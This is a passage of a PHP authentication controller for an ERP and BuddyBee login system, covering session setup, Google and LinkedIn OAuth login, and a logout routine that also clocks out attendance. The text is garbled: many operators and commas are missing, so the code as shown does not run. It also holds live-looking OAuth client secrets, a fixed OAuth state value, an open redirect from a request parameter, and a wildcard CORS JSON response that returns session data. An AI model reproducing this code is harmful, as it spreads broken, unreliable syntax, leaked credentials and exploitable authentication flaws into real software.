  5429.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5430.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5431.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5432.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5433.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5434.                         UserConstants::USER_GOC_ID => $gocId,
  5435.                         UserConstants::USER_DB_NAME => $gocDbName,
  5436.                         UserConstants::USER_DB_USER => $gocDbUser,
  5437.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5438.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5439.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5440.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5441.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5442.                         UserConstants::USER_LOGIN_ID => $loginID,
  5443.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5444.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5445.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5446.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5447.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5448.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5449.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5450.                         'REMEMBERME' => $remember_me,
  5451.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5452.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5453.                         'oAuthToken' => $oAuthToken,
  5454.                         'locale' => $locale,
  5455.                         'firebaseToken' => $firebaseToken,
  5456.                         'token' => $session->get('token'),
  5457.                         'firstLogin' => $firstLogin,
  5458.                         'oAuthImage' => $oAuthImage,
  5459.                         'appIdList' => json_encode($appIdList),
  5460.                         'branchIdList' => json_encode($branchIdList),
  5461.                         'branchId' => $branchId,
  5462.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5463.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5464.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5465.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5466.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5467.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5468.                     );
  5469.                     if ($systemType == '_CENTRAL_') {
  5470.                         $accessList = [];
  5471. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5472.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5473.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5474.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5475.                                     $d = array(
  5476.                                         'userType' => $thisUserUserType,
  5477.                                         'globalId' => $globalId,
  5478.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5479.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5480.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5481.                                         'systemType' => '_ERP_',
  5482.                                         'companyId' => 1,
  5483.                                         'appId' => $thisUserAppId,
  5484.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5485.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5486.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5487.                                                 array(
  5488.                                                     'globalId' => $globalId,
  5489.                                                     'appId' => $thisUserAppId,
  5490.                                                     'authenticate' => 1,
  5491.                                                     'userType' => $thisUserUserType
  5492.                                                 )
  5493.                                             )
  5494.                                         ),
  5495.                                         'userCompanyList' => [
  5496.                                         ]
  5497.                                     );
  5498.                                     $accessList[] = $d;
  5499.                                 }
  5500.                             }
  5501.                         }
  5502.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  5503.                         $session_data['userAccessList'] = $accessList;
  5504.                     }
  5505.                     $ultimateData System::setSessionForUser($em_goc,
  5506.                         $session,
  5507.                         $session_data,
  5508.                         $config
  5509.                     );
  5510. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5511.                     $session_data $ultimateData['sessionData'];
  5512.                     $session_data $this->filterClientSessionData($session_data);
  5513.                     $token $ultimateData['token'];
  5514.                     $session->set('token'$token);
  5515.                     if ($systemType == '_CENTRAL_') {
  5516.                         $session->set('csToken'$token);
  5517.                     } else {
  5518.                         $session->set('csToken'$csToken);
  5519.                     }
  5520.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5521.                         $session->set('remoteVerified'1);
  5522.                         $response = new JsonResponse(array(
  5523.                             'token' => $token,
  5524.                             'uid' => $session->get(UserConstants::USER_ID),
  5525.                             'session' => $session,
  5526.                             'success' => true,
  5527.                             'session_data' => $session_data,
  5528.                         ));
  5529.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5530.                         return $response;
  5531.                     }
  5532.                     //TEMP START
  5533.                     if ($systemType == '_CENTRAL_') {
  5534.                         return $this->redirectToRoute('central_landing');
  5535.                     }
  5536.                     //TREMP END
  5537.                     if ($userForcedRoute != '')
  5538.                         return $this->redirectToRoute($userForcedRoute);
  5539.                     if ($request->request->has('referer_path')) {
  5540.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5541.                             return $this->redirect($request->request->get('referer_path'));
  5542.                         }
  5543.                     }
  5544.                     if ($request->query->has('refRoute')) {
  5545.                         if ($request->query->get('refRoute') == '8917922')
  5546.                             $userDefaultRoute 'apply_for_consultant';
  5547.                     }
  5548.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5549.                         $userDefaultRoute 'dashboard';
  5550.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5551.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5552.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5553.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5554.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5555.                                 return $this->redirect($red);
  5556.                             }
  5557.                         } else {
  5558.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5559.                         }
  5560.                     } else
  5561.                         return $this->redirectToRoute($userDefaultRoute);
  5562.                 }
  5563.             }
  5564.         }
  5565.         $session $request->getSession();
  5566.         if (isset($encData['appId'])) {
  5567.             if (isset($gocDataListByAppId[$encData['appId']]))
  5568.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5569.         }
  5570.         $routeName $request->attributes->get('_route');
  5571.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5572.             $refRoute '';
  5573.             $message '';
  5574.             $errorField '_NONE_';
  5575. //            if ($request->query->has('message')) {
  5576. //                $message = $request->query->get('message');
  5577. //
  5578. //            }
  5579. //            if ($request->query->has('errorField')) {
  5580. //                $errorField = $request->query->get('errorField');
  5581. //
  5582. //            }
  5583.             if ($refRoute != '') {
  5584.                 if ($refRoute == '8917922')
  5585.                     $redirectRoute 'apply_for_consultant';
  5586.             }
  5587.             if ($request->query->has('refRoute')) {
  5588.                 $refRoute $request->query->get('refRoute');
  5589.                 if ($refRoute == '8917922')
  5590.                     $redirectRoute 'apply_for_consultant';
  5591.             }
  5592.             $google_client = new Google_Client();
  5593. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5594. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5595.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5596.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5597.             } else {
  5598.                 $url $this->generateUrl(
  5599.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5600.                 );
  5601.             }
  5602.             $selector BuddybeeConstant::$selector;
  5603.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5604. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5605.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5606. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5607.             $google_client->setRedirectUri($url);
  5608.             $google_client->setAccessType('offline');        // offline access
  5609.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5610.             $google_client->setRedirectUri($url);
  5611.             $google_client->addScope('email');
  5612.             $google_client->addScope('profile');
  5613.             $google_client->addScope('openid');
  5614.             return $this->render(
  5615.                 '@Authentication/pages/views/applicant_login.html.twig',
  5616.                 [
  5617.                     'page_title' => 'BuddyBee Login',
  5618.                     'oAuthLink' => $google_client->createAuthUrl(),
  5619.                     'redirect_url' => $url,
  5620.                     'message' => $message,
  5621.                     'errorField' => '',
  5622.                     'systemType' => $systemType,
  5623.                     'ownServerId' => $ownServerId,
  5624.                     'refRoute' => $refRoute,
  5625.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5626.                     'selector' => $selector
  5627.                 ]
  5628.             );
  5629.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5630.             $refRoute '';
  5631.             $message '';
  5632.             $errorField '_NONE_';
  5633. //            if ($request->query->has('message')) {
  5634. //                $message = $request->query->get('message');
  5635. //
  5636. //            }
  5637. //            if ($request->query->has('errorField')) {
  5638. //                $errorField = $request->query->get('errorField');
  5639. //
  5640. //            }
  5641.             if ($refRoute != '') {
  5642.                 if ($refRoute == '8917922')
  5643.                     $redirectRoute 'apply_for_consultant';
  5644.             }
  5645.             if ($request->query->has('refRoute')) {
  5646.                 $refRoute $request->query->get('refRoute');
  5647.                 if ($refRoute == '8917922')
  5648.                     $redirectRoute 'apply_for_consultant';
  5649.             }
  5650.             $google_client = new Google_Client();
  5651. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5652. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5653.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5654.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5655.             } else {
  5656.                 $url $this->generateUrl(
  5657.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5658.                 );
  5659.             }
  5660.             $selector BuddybeeConstant::$selector;
  5661. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5662.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5663. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5664.             $google_client->setRedirectUri($url);
  5665.             $google_client->setAccessType('offline');        // offline access
  5666.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5667.             $google_client->setRedirectUri($url);
  5668.             $google_client->addScope('email');
  5669.             $google_client->addScope('profile');
  5670.             $google_client->addScope('openid');
  5671.             return $this->render(
  5672.                 '@Authentication/pages/views/central_login.html.twig',
  5673.                 [
  5674.                     'page_title' => 'Central Login',
  5675.                     'oAuthLink' => $google_client->createAuthUrl(),
  5676.                     'redirect_url' => $url,
  5677.                     'message' => $message,
  5678.                     'systemType' => $systemType,
  5679.                     'ownServerId' => $ownServerId,
  5680.                     'errorField' => '',
  5681.                     'refRoute' => $refRoute,
  5682.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5683.                     'selector' => $selector
  5684.                 ]
  5685.             );
  5686.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5687.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5688.         } else
  5689.             return $this->render(
  5690.                 '@Authentication/pages/views/login_new.html.twig',
  5691.                 array(
  5692.                     "message" => $message,
  5693.                     'page_title' => 'Login',
  5694.                     'gocList' => $gocDataListForLoginWeb,
  5695.                     'gocId' => $gocId != $gocId '',
  5696.                     'systemType' => $systemType,
  5697.                     'ownServerId' => $ownServerId,
  5698.                     'encData' => $encData,
  5699.                     //                'ref'=>$request->
  5700.                 )
  5701.             );
  5702.     }
  5703.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5704.     {
  5705.         $em $this->getDoctrine()->getManager();
  5706.         MiscActions::initiateAdminUser($em);
  5707.         $this->addFlash(
  5708.             'success',
  5709.             'The Action was Successful.'
  5710.         );
  5711.         return $this->redirectToRoute('user_login');
  5712.     }
  5713.     public function LogoutAction(Request $request$remoteVerify 0)
  5714.     {
  5715.         $session $request->getSession();
  5716.         $em_goc $this->getDoctrine()->getManager('company_group');
  5717.         $session $request->getSession();
  5718.         $token $request->headers->get('auth-token'$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5719. //        return new JsonResponse([$token]);
  5720.         if ($session->get(UserConstants::USER_ID0) == 0) {
  5721. //                    return new JsonResponse([$token]);
  5722.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5723.             if ($to_set_session_data != null) {
  5724.                 foreach ($to_set_session_data as $k => $d) {
  5725.                     //check if mobile
  5726.                     $session->set($k$d);
  5727.                 }
  5728.             } else {
  5729.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5730.             }
  5731.         }
  5732.         $userId $session->get(UserConstants::USER_ID);
  5733.         $currentTime = new \Datetime();
  5734.         $currTs $currentTime->format('U');
  5735.         $routeName $request->attributes->get('_route');
  5736.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5737.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5738.         if ($request->query->get('endCurrentTask'1) == 1) {
  5739.             if (
  5740.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5741.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5742.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5743.             ) {
  5744.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5745.                 $appId $session->get(UserConstants::USER_APP_ID);
  5746.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5747.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5748.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5749.                 if (1) {
  5750.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5751.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5752.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5753.                     $currTime = new \DateTime();
  5754.                     $options = array(
  5755.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5756.                         'notification_server' => $this->container->getParameter('notification_server'),
  5757.                     );
  5758.                     $positionsArray = [
  5759.                         array(
  5760.                             'employeeId' => $empId,
  5761.                             'userId' => $session->get(UserConstants::USER_ID0),
  5762.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5763.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5764.                             'lat' => 23.8623834,
  5765.                             'lng' => 90.3979294,
  5766.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5767. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5768.                         )
  5769.                     ];
  5770.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5771.                     if ($positionsArray == null$positionsArray = [];
  5772.                     $dataByAttId = [];
  5773.                     $workPlaceType '_UNSET_';
  5774.                     foreach ($positionsArray as $findex => $d) {
  5775.                         $sysUserId 0;
  5776.                         $userId 0;
  5777.                         $empId 0;
  5778.                         $dtTs 0;
  5779.                         $timeZoneStr '+0000';
  5780.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5781.                         if (isset($d['userId'])) $userId $d['userId'];
  5782.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5783.                         if (isset($d['tsMilSec'])) {
  5784.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5785.                         }
  5786.                         if ($dtTs == 0) {
  5787.                             $currTsTime = new \DateTime();
  5788.                             $dtTs $currTsTime->format('U');
  5789.                         } else {
  5790.                             $currTsTime = new \DateTime('@' $dtTs);
  5791.                         }
  5792.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5793.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5794.                         $EmployeeAttendance $this->getDoctrine()
  5795.                             ->getRepository(EmployeeAttendance::class)
  5796.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5797.                         if (!$EmployeeAttendance) {
  5798.                             continue;
  5799.                         } else {
  5800.                         }
  5801.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5802.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5803.                             $workPlaceType '_STATIC_';
  5804.                         }
  5805.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5806.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5807.                                 'attendanceInfo' => $attendanceInfo,
  5808.                                 'empId' => $empId,
  5809.                                 'lat' => 0,
  5810.                                 'lng' => 0,
  5811.                                 'address' => 0,
  5812.                                 'sysUserId' => $sysUserId,
  5813.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5814.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5815.                                 'positionArray' => []
  5816.                             );
  5817.                         $posData = array(
  5818.                             'ts' => $dtTs,
  5819.                             'lat' => $d['lat'],
  5820.                             'lng' => $d['lng'],
  5821.                             'marker' => $d['markerId'],
  5822.                             'src' => 2,
  5823.                         );
  5824.                         $posDataArray = array(
  5825.                             $dtTs,
  5826.                             $d['lat'],
  5827.                             $d['lng'],
  5828.                             $d['markerId'],
  5829.                             2
  5830.                         );
  5831.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5832.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5833.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5834.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5835.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5836.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5837.                         if (isset($d['address']))
  5838.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5839. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5840.                     }
  5841.                     $response = array(
  5842.                         'success' => true,
  5843.                     );
  5844.                     foreach ($dataByAttId as $attInfoId => $d) {
  5845.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5846.                             $d['empId'],
  5847.                             $d['sysUserId'],
  5848.                             $d['companyId'],
  5849.                             $d['appId'],
  5850.                             $request,
  5851.                             $d['attendanceInfo'],
  5852.                             $options,
  5853.                             $d['positionArray'],
  5854.                             $d['lat'],
  5855.                             $d['lng'],
  5856.                             $d['address'],
  5857.                             $d['markerId']
  5858.                         );
  5859.                     }
  5860.                 }
  5861.             }
  5862.         }
  5863.         if ($token != '')
  5864.             MiscActions::DeleteToken($em_goc$token);
  5865.         $session->clear();
  5866.         $session->set('CLEARLOGIN'1);
  5867.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5868.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5869.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5870.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5871.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false
  5872.                     && strripos($referrerPath'signature_status') === false && strripos($referrerPath'/api/') === false) {
  5873.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5874.                 } else {
  5875.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5876.                 }
  5877.             }
  5878.         } else {
  5879.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5880.         }
  5881. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5882. //            )
  5883. //
  5884. //        );
  5885.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5886.             if ($userId) {
  5887.                 return new JsonResponse(array(
  5888.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5889.                     "message" => "Logout Successfull!",
  5890.                     'session_data' => [],
  5891.                     'userId' => $userId
  5892.                 ));
  5893.             } else {
  5894.                 return new JsonResponse(array(
  5895.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5896.                     "message" => "Already Logout",
  5897.                     'session_data' => [],
  5898.                     'userId' => $userId
  5899.                 ));
  5900.             }
  5901.         }
  5902.         return $this->redirectToRoute("dashboard");
  5903.     }
  5904.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5905.     {
  5906.         $session $request->getSession();
  5907.         $email $request->getSession()->get('userEmail');
  5908.         $sessionUserId $request->getSession()->get('userId');
  5909.         $oAuthData = [];
  5910. //    $encData='';
  5911.         $em $this->getDoctrine()->getManager('company_group');
  5912.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5913.         $redirectRoute 'dashboard';
  5914.         if ($encData != '') {
  5915.             if ($encData == '8917922')
  5916.                 $redirectRoute 'apply_for_consultant';
  5917.         }
  5918.         if ($request->query->has('encData')) {
  5919.             $encData $request->query->get('encData');
  5920.             if ($encData == '8917922')
  5921.                 $redirectRoute 'apply_for_consultant';
  5922.         }
  5923.         $message '';
  5924.         $errorField '_NONE_';
  5925.         if ($request->query->has('message')) {
  5926.             $message $request->query->get('message');
  5927.         }
  5928.         if ($request->query->has('errorField')) {
  5929.             $errorField $request->query->get('errorField');
  5930.         }
  5931.         if ($request->request->has('oAuthData')) {
  5932.             $oAuthData $request->request->get('oAuthData', []);
  5933.         } else {
  5934.             $oAuthData = [
  5935.                 'email' => $request->request->get('email'''),
  5936.                 'uniqueId' => $request->request->get('uniqueId'''),
  5937.                 'oAuthHash' => '_NONE_',
  5938.                 'image' => $request->request->get('image'''),
  5939.                 'emailVerified' => $request->request->get('emailVerified'''),
  5940.                 'name' => $request->request->get('name'''),
  5941.                 'firstName' => $request->request->get('firstName'''),
  5942.                 'lastName' => $request->request->get('lastName'''),
  5943.                 'type' => 1,
  5944.                 'token' => $request->request->get('oAuthtoken'''),
  5945.             ];
  5946.         }
  5947.         $isApplicantExist null;
  5948.         if ($email) {
  5949.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5950.                 $isApplicantExist $applicantRepo->findOneBy([
  5951.                     'applicantId' => $sessionUserId
  5952.                 ]);
  5953.             } else
  5954.                 return $this->redirectToRoute($redirectRoute);
  5955.         }
  5956.         $google_client = new Google_Client();
  5957. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5958. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5959.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5960.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  5961.         } else {
  5962.             $url $this->generateUrl(
  5963.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  5964.             );
  5965.         }
  5966.         $selector BuddybeeConstant::$selector;
  5967.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5968.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  5969. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5970.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5971. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5972.         $google_client->setRedirectUri($url);
  5973.         $google_client->setAccessType('offline');        // offline access
  5974.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5975.         $google_client->addScope('email');
  5976.         $google_client->addScope('profile');
  5977.         $google_client->addScope('openid');
  5978. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  5979.         //linked in 1st
  5980.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  5981.             $curl curl_init();
  5982.             curl_setopt_array($curl, array(
  5983.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  5984.                 CURLOPT_HEADER => false,  // don't return headers
  5985.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5986.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5987.                 CURLOPT_ENCODING => "",     // handle compressed
  5988.                 CURLOPT_USERAGENT => "test"// name of client
  5989.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5990.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5991.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  5992.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  5993.                 CURLOPT_USERAGENT => 'InnoPM',
  5994.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  5995.                 CURLOPT_POST => 1,
  5996.                 CURLOPT_HTTPHEADER => array(
  5997.                     'Content-Type: application/x-www-form-urlencoded'
  5998.                 )
  5999.             ));
  6000.             $content curl_exec($curl);
  6001.             $contentArray = [];
  6002.             curl_close($curl);
  6003.             $token false;
  6004. //      return new JsonResponse(array(
  6005. //          'content'=>$content,
  6006. //          'contentArray'=>json_decode($content,true),
  6007. //
  6008. //      ));
  6009.             if ($content) {
  6010.                 $contentArray json_decode($contenttrue);
  6011.                 $token $contentArray['access_token'];
  6012.             }
  6013.             if ($token) {
  6014.                 $applicantInfo = [];
  6015.                 $curl curl_init();
  6016.                 curl_setopt_array($curl, array(
  6017.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6018.                     CURLOPT_HEADER => false,  // don't return headers
  6019.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6020.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6021.                     CURLOPT_ENCODING => "",     // handle compressed
  6022.                     CURLOPT_USERAGENT => "test"// name of client
  6023.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6024.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6025.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6026.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6027.                     CURLOPT_USERAGENT => 'InnoPM',
  6028.                     CURLOPT_HTTPGET => 1,
  6029.                     CURLOPT_HTTPHEADER => array(
  6030.                         'Authorization: Bearer ' $token,
  6031.                         'Header-Key-2: Header-Value-2'
  6032.                     )
  6033.                 ));
  6034.                 $userGeneralcontent curl_exec($curl);
  6035.                 curl_close($curl);
  6036.                 if ($userGeneralcontent) {
  6037.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6038.                 }
  6039.                 $curl curl_init();
  6040.                 curl_setopt_array($curl, array(
  6041.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6042.                     CURLOPT_HEADER => false,  // don't return headers
  6043.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6044.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6045.                     CURLOPT_ENCODING => "",     // handle compressed
  6046.                     CURLOPT_USERAGENT => "test"// name of client
  6047.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6048.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6049.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6050.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
